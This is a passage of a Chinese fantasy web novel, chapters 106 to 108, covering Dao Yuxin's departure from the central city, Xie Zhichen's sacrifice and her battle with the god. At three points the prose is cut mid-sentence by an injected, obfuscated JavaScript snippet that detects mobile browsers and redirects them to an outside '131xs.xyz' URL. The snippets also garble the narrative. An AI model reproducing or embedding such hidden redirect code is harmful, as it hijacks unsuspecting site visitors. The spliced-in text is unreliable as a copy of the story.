罗茜对家族本就没有什么认同感,夺走周家家主之位又改为罗家纯粹是给从前年幼的自己一个交代,对她而言,与其让家族这些东西堆在宝库中永远尘封,还不如全部都给刀语心。 反正她没意见,有意见的也打不过她。 再者,与其去按照家族那些繁琐的手续进入,不如让谢止沉直接带着刀语心前往,方便又快捷。 “那我们走了?”刀语心串起钥匙。 “放心去吧。” 再转眼,红光闪过,刀语心二人就来到了宝库大门前。 几人高的大门矗立在她的眼前,手中的钥匙飘起,依次嵌入到门上的锁孔中。随着繁复的法阵验证成功,大门缓缓开启。 浩劫降临也才十八年,而几大家族已经积蓄了琳琅满目的宝物。 刀语心先一步走入,谢止沉紧随其后。按照锻造出神阶武器的图纸来看,她现在只剩淬炼液没有获取,对于其他不属于她的东西,她没有过多停留。 知晓刀语心的目标,谢止沉也在帮她搜寻。 整齐排列展示的宝物具有各式各样的光彩,从前刀语心根本无从听说的半神阶在这里随处可见。 仿佛这里汇聚着整个世界的奇珍。即便家族除此之外还有自己私下的宝库,但众多物件汇集于此,就是一场看不到尽头的宴席。 可直到他们走到尽头,也没有见到任何一个神阶材料道具装备的存在。 这是神的禁令,被放逐于此世的神抹去一切半神阶及其之上的存在。 在知晓这近乎诡异的现实后,刀语心偶尔会去思考祂这么做的目的是什么?众生于祂而言和尘土有什么区别? 思及至此,过往的记忆就会涌上心头。在她离开无名镇,沿着路途越走越远,来到残存区的中心,见证一个个人知晓他们不同的过往,又找到自己的来路后,刀语心好像明白神为什么要这么做。 一个人的性命可以被轻易夺走,但总有人会前行。 被浩劫夺走一切的,不止有主教,被新世界迫害的,不止有雪姬,众生都在承受着苦痛,整个世界都在背负着创伤。 所以,恨意永远难平。 总有人会朝祂举起利刃。 “如果神死去了,这个世界会怎么样?”刀语心的声音伴随着脚步声在宽阔的空间中回荡。 “即便祂死去,时间也无法逆流。往好处说,这个世界的封锁会解除,人们会得到更好的发展,但往坏处说,会有另一个神来到这里。” 神并不是与生俱来的特殊,祂们也需要给养,而万千世界就是祂们的猎场。 刀语心记起偶然看到过的一个概念:顶端优势。只有通过去除顶芽,才能解除这种抑制,让下部的侧芽得以萌发和生长。 “找到了。” 他们来到一汪清泉面前,这里有一个泉眼,在源源不断地往外涌出深蓝色液体,其中似乎有点点星光在不断闪耀。 刀语心不打算带走整个泉眼,她只是收集足够使用的容量。 “我们之后去哪?”谢止沉等待着刀语心的抉择。 留在这个世界解除诅咒会被神察觉,离开却又会失去一切消息带来恐慌。而且,从预知能力回来后,她就有些惴惴不安,可大概是主教动了什么手脚,她无法从中得到任何确切的预兆。 “总有一天,你要去学着相信别人。”很久很久之前,裴瑛和她说过的话再度回荡在她的脑海。 有人将她视为救世主,视为恶魔,也有人希望她试着去借助他人的力量,希望她可以为了自己而活。 玩弄她命运的人从未浮出水面。 占星会、救世会、天启者、主教、神殿……乃至神明也都不过是棋盘上的棋子,幕后黑手依然潜藏在暗中,没有得到任何的惩罚。 只有她活下去,她才能继续走接下来的路。 “去别的世界解除诅咒。” 回到住所将所有事物和罗茜简单交接,又挑选好礼物打算通过商会寄回无名镇。不知道是不是迟明煦最近不忙,还是她来得凑巧,来到商会后他们就打了个照面。 简单打了个招呼,迟明煦就问道:“又要走了?”没有任何信息,可从刀语心那双眼中就会得到答案,她知道自己的前路在何方。 刀语心点头。 处理订单的间隙,她手指在无意识地敲击,心中的不安还在作祟。一个疑问从她心底浮出:离开中央城的日子,主教去了哪里? 听到她的问题,迟明煦也是毫不留情地报价。 信息和情报都是资源的一种,刀语心也没介意迟明煦这副商人做派,她很熟悉。给出足够的价码后,迟明煦将有关主教的信息传去给刀语心。 “那就祝你一路顺遂。” “会的。” 离开商会后刀语心就打开信息浏览主教的踪迹,上面显示她离开中央城后就去了西北边的帝国。 她去哪里做什么? 信息随即给出答案:和帝国军团总督在暗中进行了一场交谈。 “这是我送你,最后的礼物。” 主教临死前的话语在此刻闯入刀语心的脑海,她想知道再多,可什么都没有了。既然是密会,自然也不会有更多消息流出。 她几乎是本能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16369158|166192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地打开终端中与裴瑛交谈的窗口。 思虑片刻后,刀语心在终端上询问裴瑛无名镇最近的状况,期间她也说出自己离开的打算。 和刀语心相识多年,裴瑛又怎么会不明白刀语心的忧虑。 -不必担心,我会在这里等你回来,我们都会。 看着终端上的消息许久后,刀语心才收起,和谢止沉计划起离开中央城的路线。离开世界需要到邪魔域与残存区的交界,最近的路线就是穿过北区,再穿过神域。 最关键的就在于,狂信徒还在一直寻找刀语心的踪迹,并且越靠近神域恐怕人数就越多。 而且…… “在神域附近最好不要使用本源之力。” 这就代表不仅十分好用的流光没办法再带着刀语心穿梭,就连异化之力也无法使用。 就算谢止沉没明说,刀语心也知道原因:他们两个身为原初之种,一个是被现任神主通缉的前任神主,一个是代表着希望很有可能推翻现任神主的“未来”神主。 本就是夺位而来的神主,自然会担忧自己的位置不保,为了保住祂的地位想必会不择手段。 他们的身份有些特殊,在平日不知情的人面前随便使用没什么大碍,可一旦使用的能力超过某个界限,被察觉就将面临此世最大的问题——神明。 即便知晓对方是被流放的存在,刀语心和谢止沉也不会掉以轻心。 “按理来说,离得越远就越难以察觉,但我们之后必须穿过神域,神就在那里。” 就算祂忽视之前所有的异常,在神域之内被发现的话,祂也不得不出手。 “唯一的好消息就是,神是没办法进入邪魔域的,只要我们到边境进入就没有任何问题。”邪魔域就是谢止沉为穿梭锚点留下的屏障。 关键就在于前往邪魔域的中途。 “看来我们有一场硬仗要打。”刀语心很快就接受这个不容乐观的现实。 不论如何,解除诅咒是她必须要做的事,就算有人告诉她前面是火坑,她也会毫不犹豫地跳下去然后寻找自己的生路。 既然目标已经确定,那么再多的犹豫与怀疑也就毫无必要。 在离开中央城前夕,刀语心与千渡见了最后一面。 “我们会安置好那些愿意来到神殿的孩子们,船长有什么需求我也会尽力满足。” 站在自己面前的刀语心,千渡敏锐地察觉对方有其他思绪。 “这是神殿的令牌,可以让你们离开中央城的过程顺利一些,但出城后的事我便无能为力,至于其他,还有什么事情让你牵挂?” 自己的忧虑被人看穿,刀语心也不打算再掩饰:“千渡,你知道雪姬吗?” 见千渡点头,刀语心沉默半晌后重新开口:“她……最近怎么样?” “她很好,虽说先前重伤传送回来后狂信徒带着她来神殿医治过,失去一部分力量但并无大碍。”身为神殿人员千渡和狂信徒的交集不多,但还是尽可能详细告诉刀语心雪姬近况。 刀语心默默地听着,那把曾被心头血染红的剑如今被放置在空间深处。 “若有需要,我可以代为转告。” 闻言刀语心只是摇头拒绝:“不必了,知道这些就已经足够,谢谢你。” 既然如此,千渡也不打算再多余询问,她低声吟唱,随即一点光芒降落在刀语心身上。 “祝你前路无阻,再见。” “再见。” 107. 第 107 章 在夕阳落下的时刻,刀语心和谢止沉披上神殿的圣洁长袍,朝北区走去。 被神殿掌控的北区与其他四区有着本质的不同,从铺路的白玉石就看得出来这里的生活卓越。也只有北区这里他们没有见到属于狂信徒的血红长袍。 没有过多停留,刀语心二人顺着道路径直去往城门,出示千渡给予的令牌。 在大门看守的狂信徒看到上面有千渡的批准后就放行,他们虽然疯但并不是不明事理,他们很清楚得罪千渡,神殿很可能在之后不会对他们给予任何的帮助。 更何况,神域周围还有更多的狂信徒活动。 刀语心一直遥望着远处神域的位置,一片黑暗中,唯有那里拥有光明。她记得自己曾经在地图上看见过神域,是在残存区的正中心,远远望去圣洁而宏伟,仿佛所有美好宁静都置于其中。 可那是所有灾难的源泉。 对这二位看不清面容的人影,狂信徒挂起不达眼底的笑意:“大人,慢走不送。” 没再多停留,收回通行令牌后刀语心就踏出城门,走向无尽的黑夜。从这里开始,他们便不能再使用本源之力了。 她曾询问过谢止沉,神是真的那么无可战胜的吗? 谢止沉不置可否。 “祂从顶端世界而来,随心所欲地毁灭这个世界,从而用绝对的力量掌控。世界对祂来说是流放之地,也是祂的游乐场。” 而祂不让半神阶以上的宝物和职业存在也有原因。 “高等生灵有超乎常人的躯体强度,只有半神阶以上的武器能够伤害到他们,也只有神阶武器能够彻底将它们消灭。” 这也是祂之所以杀死吴阿婆,盯上刀语心的最根本原因,祂害怕刀语心会将杀死祂的可能化作现实。 “至少现在是不可战胜。” 看向被逐渐被黑暗萦绕的前路,刀语心听着自己的心脏在胸腔中跳动,不好的预示在作响,但……她不会停歇。就算困难重重,她也会走上自己应行的道路。 -距离边境最后二十公里 残阳在坠入天际,平坦荒原上只有些许杂草沐浴着最后的日光。阴云一点点将日暮蚕食,于死寂的暗影中许多双血红的眼浮现,不约而同看向远处向他们走来的身影。 “她来了。” 阴冷的风吹散余温,还带来无止境的攻击。 四散在各处的狂信徒在同一时间对刀语心展开攻势,没有什么排兵布阵和布局,对神明的狂热崇拜驱使着他们在此刻一致向外。 被围剿的刀语心同样果决地向前奔去,甩开在身后不断纠缠的法术攻击。没给她太多时间,擅长近身战斗的其余狂信徒就朝她攻去。 她本能地使用技能将对她有害的武器融化,又在围剿之中挑选出一支长枪将其夺走,为自己劈出前路。 “不惜一切代价,把她留下!” -距离边境十公里 除开漫无止境地远程攻击外,还有数个狂信徒一直在刀语心二人前方挡路,但她的速度没有丝毫减缓,挑起狂信徒的躯体将路障破开。 不远处有人设下埋伏,在刀语心冲出去的瞬间,淡白的丝线向前窜去妄图将她缠住。 那是亚空间的引线。 感受到其中熟悉的波动后,谢止沉即刻调用从亚空间意识处得到的权限将其系数斩断。 -距离边境最后五公里 随着距离拉开,攻势稍有减缓,远处的敌人也需要转移阵地才能伤害到刀语心,最后的敌人只剩下身后尾随的一部分。 邪魔域的边界近在咫尺,只差最后这一段距离。 “小心!” 霎时间,天光大亮。 强烈到吞噬一切的光芒刺伤她的视线,刀语心很清楚,这不是太阳升起的时刻,太阳也不会发出如此刺眼的光亮。 明明应当什么都看不到,她却在不属于自己的视角看见此刻的一切:远处的神域中闪烁微光,下一刻就在她头顶的夜空中撕开一道巨大裂口,她见到了一个白金色的长发人影于天空中浮现,她见到了神明。 这是预知,可实在来得太不合时宜。 一片茫茫之中,她想起了主教,这就是那份礼物,是主教对她最后的报复。 “刀语心!” 在一声惊呼传入耳的同一时刻,一股炽热至极的力量就将她的心脏贯穿。 为什么。 为什么。 流逝的血液,变慢了。 除开像是永不熄灭的灼热后,她并感受不到多大的痛苦,不受控的异化之力不再抑制,而是想要去填补刀语心空荡的胸腔。 视线重新回归后,刀语心看到的是余光未散的天空,神的力量将天空的阴云驱散,反而让她看见亘古不变的月亮。 她答应过裴瑛和绿绮她会回去,但似乎要食言了。 她要死了。 她就要死了。 还有许下的承诺没有完成,还有需要锻造的东西没有锻造,可是她已经没有力气了。嘴角溢出鲜血,她看着月光,视线越来越模糊。 “刀语心,刀语心!不要睡过去。” 逐渐沉溺的意识却清晰感受到谢止沉的双手在颤抖,眼前被一片赤红覆盖,好似是他的眼睛,又好似是他在使用本源之力。 她听见他在说:“我绝不会让你死去。” 血,温热的血,但并不来自于她自身。 赤红散去,刀语心体温回升,有了足够支撑身体的力量,模糊的视线重新聚焦,源源不断流淌的血从谢止沉胸腔处流出。 他把自己的心脏交给了她。 见刀语心看向自己,他露出一个安心的笑容,低声说道:“太好了。” “……为什么?” “因为……我不想让你死去。”他又一次展露笑颜,带着血迹眉眼稍弯,“这是我自私的愿望。” 突如其来的一切已经让刀语心脑子里一片空白,谢止沉口中吐出鲜血,她机械地本能去扶住他逐渐失温的躯体。 为什么总是要因为自己的存在牵连到其他的人? 为什么她总是经历这些自己无能为力的灾难? 为什么死去的人不是她? 先前感受到的颤抖没有消失,此刻无助的人变成了她自己。谢止沉的生命力一直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16374272|166192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 流逝,越来越微薄,又一次咳出涌出的血液后,他有气无力说着最后的话语: “裴队长在等你回去,我也……会等你来找到我。” “这不会是永别。” 他想要抬手去触碰刀语心但在未触及前就消散,一切化作飞灰之后,什么都没有留下。 刀语心僵硬地保持着与先前别无二致的姿势,她不知道自己到底该怎么做,她不明白自己究竟要怎样才能避免这些该死的命运。 “真感人啊。” 随之而来的是又一道光失。 异化之力将刀语心包裹,把攻击悉数抵消,而在其中,刀语心身上可怖的伤势正在逐步愈合。 黑潮建起的屏障抵挡着无止无休的箭矢,恍惚中,她仿若又一次坠入漆黑无光的深海,只有刺入灵魂又无比熟悉的冷寂。潜藏在灵魂最初时刻的记忆在她脑海中闪回,最后,她听见海浪在翻涌。 眼前闪过的光芒将刀语心的意识重新拉回现实,缓缓抬眼,她看见神明自高空中走入尘世,原先一同围攻的狂信徒此刻全都朝同一个方向,虔诚地跪倒在地。 祂身上的洁白长袍被夜风吹拂,白金色的发色和金纹密布的瞳孔让祂如黑夜中的太阳一般,而祂脸上讥讽的笑容也如颜色一般刺目。 祂是凶手。 祂是一切的罪魁祸首。 异化之力自阴影中暴起,无声尖啸着刺向“太阳”所在的方向。离得越近,阴影就不断拉伸,延长,勾勒出一场歇斯底里的疯狂。 “垂死挣扎。” 祂挥手,张牙舞爪的漆黑力量就即刻溃散,如同被太阳蒸腾的水汽一般消失得无影无踪。可再当祂的目光落在先前的位置时,那里已经空无一人。 逃了吗? 下一刻,祂视线后移反手展出一道屏障挡住攻击。刀语心无声无息来到祂的身后,出乎祂的意料,刀语心凝结出的力量穿透祂的壁障,直直洞穿祂的掌心。 许久未感受过的疼痛反而让祂头一回认真打量起身为攻击者的刀语心。 与那空无一物的深黑视线对视,祂扬起一个笑说:“有点意思。” 随即,祂甩开刀语心,被穿透血洞已经复原。祂神色淡淡看向远处的人影,察觉到她身上的气息也开始变化,只需要再过不久,原初邪魔的心脏就会将她同化为“神明”。 即便如此,身为征战无数世界的杀戮机器,祂有足够的自信在那之前将她了结。 比起这些祂更关心:“能让旧日之主承受如此沉重的代价也是少见。”昔日承受万族围剿最终也是轻飘飘假死脱身。 “你是他的同盟?” 祂的问题没有得到任何回应。 距离边境还有一片荒原,谢止沉留在刀语心胸腔中的心脏在跳动,她没打算主动寻死,只是她不觉得神会给她逃离的机会。 先前致命的创伤已经在心脏带来的力量下痊愈,她的血肉在重新生长,异化之力在转化同根同源的本源之力。 在无数繁杂的思绪中,她找不到自己的生路在何处。 她只觉得,白色的光晕太过灼眼。 “去死。” 108. 第 108 章 异化之力凝成涌起的黑潮向着悬在半空中的神明袭去,攻击一次比一次凌厉,似是要将太阳拖入深渊。 神明垂下视线,捕捉着刀语心所在方向。 借由异化之力的铺开加以短距离传送,刀语心的身影极难被捕捉,祂的反击无法预判不断落空,即便是追踪类技能也会被躲开。 祂有足够的时间等她主动近身,但神却有一种隐隐约约的预感,那对祂而言并不是一件好事。 而刀语心则是调动着麻木的思绪,寻找着她可以行走的道路。 身为神,在规则限制下只有使用神阶武器才能将其诛杀,除非有超过规则的力量。 异化之力的吞噬特性。 可转化力量并不是一夕之间就可以完成,她还需要时间。她还能拖延多久?要做到什么程度才能把神明彻底吞噬? 没有答案的问题。 她能做的,是在避开神明攻击的间隙,一次又一次试图让祂从天上坠下。 “禁锢。” 似是厌倦猫捉老鼠的游戏,神明口中说出的话语在刀语心停留的一刹那凝出金色的囚笼。 她被困住,无法再进入黑潮之中。异化之力想要将牢笼破开却会被烫伤直至消散,不断想要将牢笼破坏,但永远无法更进一步。 “好了,差不多了。” 神明终于从天边走下来到刀语心的面前,那双金灿的眼中什么都没有,孤零零地倒映着燃烧的漆黑怒火。 祂抬起手挡住视线的交汇,准备开始最后的抹杀。位于牢笼中的刀语心闭上眼,开始最后一次尝试。 “不要——” 叫喊声划破夜空,神明侧过头去,远处的人影是气喘吁吁的雪姬,和在她身后跟着的克莱莎对祂行礼。 “雪姬,你们怎么来了。”祂收回手,全然没有之前的“神明”架子。 身为神明,祂也有自己的人类偏好。对祂而言,狂信徒是一群没什么新意每天只会献祭的无用之徒,传召使、墨泽是好用的下属,除开一些实力强劲有权有势的人类之外,祂唯一在意过的对象只有雪姬。 她和祂是一样的。 “拯救是困难的,如果想要拯救对方,就要做好负责的准备。”只是从没有人告诉祂要怎么负责,正如没有人会对这一把刀说你要学会种树。 祂做了自己能做的,把雪姬从实验室中救出,让她在神殿之中生活,给予她喜欢的力量。祂不知道自己做的是否是对的,雪姬想要外出,祂同意了,结果最后雪姬受了重伤被人传送回来。 对一个人类负责究竟要做些什么呢?祂真的不太明白,祂只擅长带来灾厄和毁灭。 “可不可以,可不可以不要杀她。”祂听见雪姬再一次发出祈求。 雪姬跌跌撞撞来到他们之中,将刀语心挡在身后。她已经见证过同样的场面,她不愿意在看到自己珍重之人彼此拔刀相向,她更不希望刀语心死去。 “如果她不会杀死我,我也不会杀掉她。”神明给予自己的答复,假装自己没有看到雪姬试图将刀语心拉近亚空间的白线。 “很可惜,事实是她绝不会放过我。” 下一刻,金色牢笼被破开。神明将雪姬拉到身后,刀语心也刻意让异化之力绕开雪姬。 至臻至纯的黑芒于刀语心掌中具现。 周围的黑潮在奔腾翻涌,而远在另一空间的原初之海,也在这时发生了前所未有的震颤。 转化吸收大半的力量后刀语心成功进阶到最终阶段,如今的她已经能够和原初之海之间建立起一道无形之中的联结。 破开牢笼后,她直直向着神明所在的不远处袭去。 为了保护雪姬不受伤害,神并没有直接离开,于是被刀语心死死掐住脖颈,这股力量的确让祂感到惊异,这是前所未有,没有借助于神阶武器就伤害到祂的实例,先前的血肉伤害片刻间就可以恢复,但如今被这股力量所侵蚀的躯体却无法复原。 这便是刀语心真正的完全体,真正的异化之力。 被死死掐住的神明,并没有露出任何惊慌失措的神情,祂反而愈发有些兴奋。 这力量足够压制祂,也足够让祂体内的力量感受到前所未有的威胁,这就证明着刀语心的来历并不一般,祂先前以为刀语心是谢止沉的下属,但现在看来,她是同谢止沉并列的另一枚原初之种。 原初之种啊,祂想。 “难怪……你是这样的怪物。” 白金的长发被黑色一点点晕染,祂没有着急,甚至有心安抚好一旁想要救自己的雪姬:“别怕,我不会有事,她也不会。” 变成死结的线团要怎么处理? 把结剪掉就好了。 “你很强。”祂终于抬手制止刀语心掐着自己的动作,平静地认清对方天资过人的事实。 “但要杀死我,还不够。” 如今他们同为本源之力五阶,他人眼中的神明级,刀语心一时半会杀不死祂,祂也不敢使用神阶武器,稍有不慎,祂很可能死得更快。 可刀语心是必须被处理的死结。 祂驱使力量,与刀语心接触的表面皮肤开始发烫,反过来将掌心表面灼伤,可即便如此,她掐着神明的动作没有丝毫动摇。 “我只想为了我自己活下去。” “为什么总是要这样……为什么永远都是这样!” “去死啊!” 那双本该一同空荡的眼中,全是恨意。祂明白她的愤恨,明白她无法选择命运的悲怆,明白她自始至终都被有心之人作为工具的痛苦。 祂甚至能够与刀语心共情。 像是想起了什么,祂脸上露出无奈的笑,没有多余的疯狂,只衬得祂容貌昳丽。 “来成为我的刀吧。” 这是祂前所未有的温柔语调。 那滚烫的力量沿着刀语心的手臂一路延伸,没有烧伤她的躯壳,但燃至她的灵魂,直至进入她的记忆,而后,将其一同燃尽。 她们如同水火,没有此消彼长,而是相互交织着通向灭亡。 刀语心苦苦支撑,只是她的底蕴无论如何都比不过不知道活了多久的神明,灵魂上的损伤不得不让她陷入沉眠。 即便失去意识,她也死死掐着神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16380556|166192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明,想要将其置于死地。 异化之力的暴动平息,被黑潮污染的颜色也渐渐褪去,只是在神明金灿的发尾留下无法抹去的黑色痕迹。 “对不起……” 见事态平息,雪姬连忙上前,注意到刀语心昏迷不醒,而神明看起来也是损失惨重。 面对自己不愿见到的事态,她却无能为力,只能眼睁睁看着在乎的二人彼此厮杀,而她什么都无法做到。 “不必自责,这不是你的原因。” 神明摸摸雪姬垂下的脑袋,将刀语心抱着从地上起身。 “这世界上多的是我们不愿意见到的事……” 雪姬抬头看着神明,祂金黄眼眸看向远方天际,遍布着她看不懂的情绪。 “走吧,我们回去。”祂侧过头,对着雪姬绽出笑颜,“从今往后,她便是我们的家人了。” 家人……吗? —— 另一位面。 “神主,原初之海发生不知原因动乱,占卜家卜出,与另一枚原初之种有关。” “原初之种,又是原初之种!”位于高位之上的人影震怒,“阴魂不散的东西,你们都是废物吗?怎么这么多年前一个没解决又冒出了后一个?” “神主息怒。” 那人面目狰狞,神色隐入阴影之中。不知道过了多久,祂大手一挥,瞬息间无数个人影在空中浮现。 “汇报各个位面的状况。” “启禀神主,疑似旧主势力出现,正着手清除。”“启禀神主,并无大碍。” “SA507,你呢?”高位之上的目光转移到角落中白金色的身影上,“你知道的,我一向器重你。” 这是一个众人皆知的事实,SA507是最出色的种子,是神主手下最强的利刃。可以说,SA507是神主获得如今位置必不可少的一环。 所以,最重要的世界熔炉位面专门由祂一人看守。 “启禀神主,我所在位面并无任何异常。”那双亮金色的瞳孔中,毫无畏惧地看向上方。 高高在上的目光审视几秒后,移开视线,大手一挥离开主位。其余的投影零零散散地消失,最终,只剩下零星几个还在彼此交谈。 “你怎么看起来这么开心?”过去有过交谈的身影,来到SA507身旁,带着隐隐约约的恶意朝祂发问。 “如果你看见一个天赋很好的人,你难道不开心吗?” 很显然,祂并没有察觉对方的别有用心,只当自己是在回应日常攀谈。 我会嫉妒对方,努力在没有追上我之前将其杀死。主动搭话的那人并没有将自己心中的话全盘托出,而是轻轻撇着眉头挂着笑反问:“天赋有多好?比得上你吗?” “当然。”乃至更甚。 “所以……你找到了一个天赋不亚于你的种子?” “不,又或许是的?我只是在学着种树。”SA507粲然一笑,祂轻轻挥手,一粒种子的一生就被投影展现。 从种子,到发芽,再到源源不断、日复一日地成长。 “一棵,我很喜欢的树。”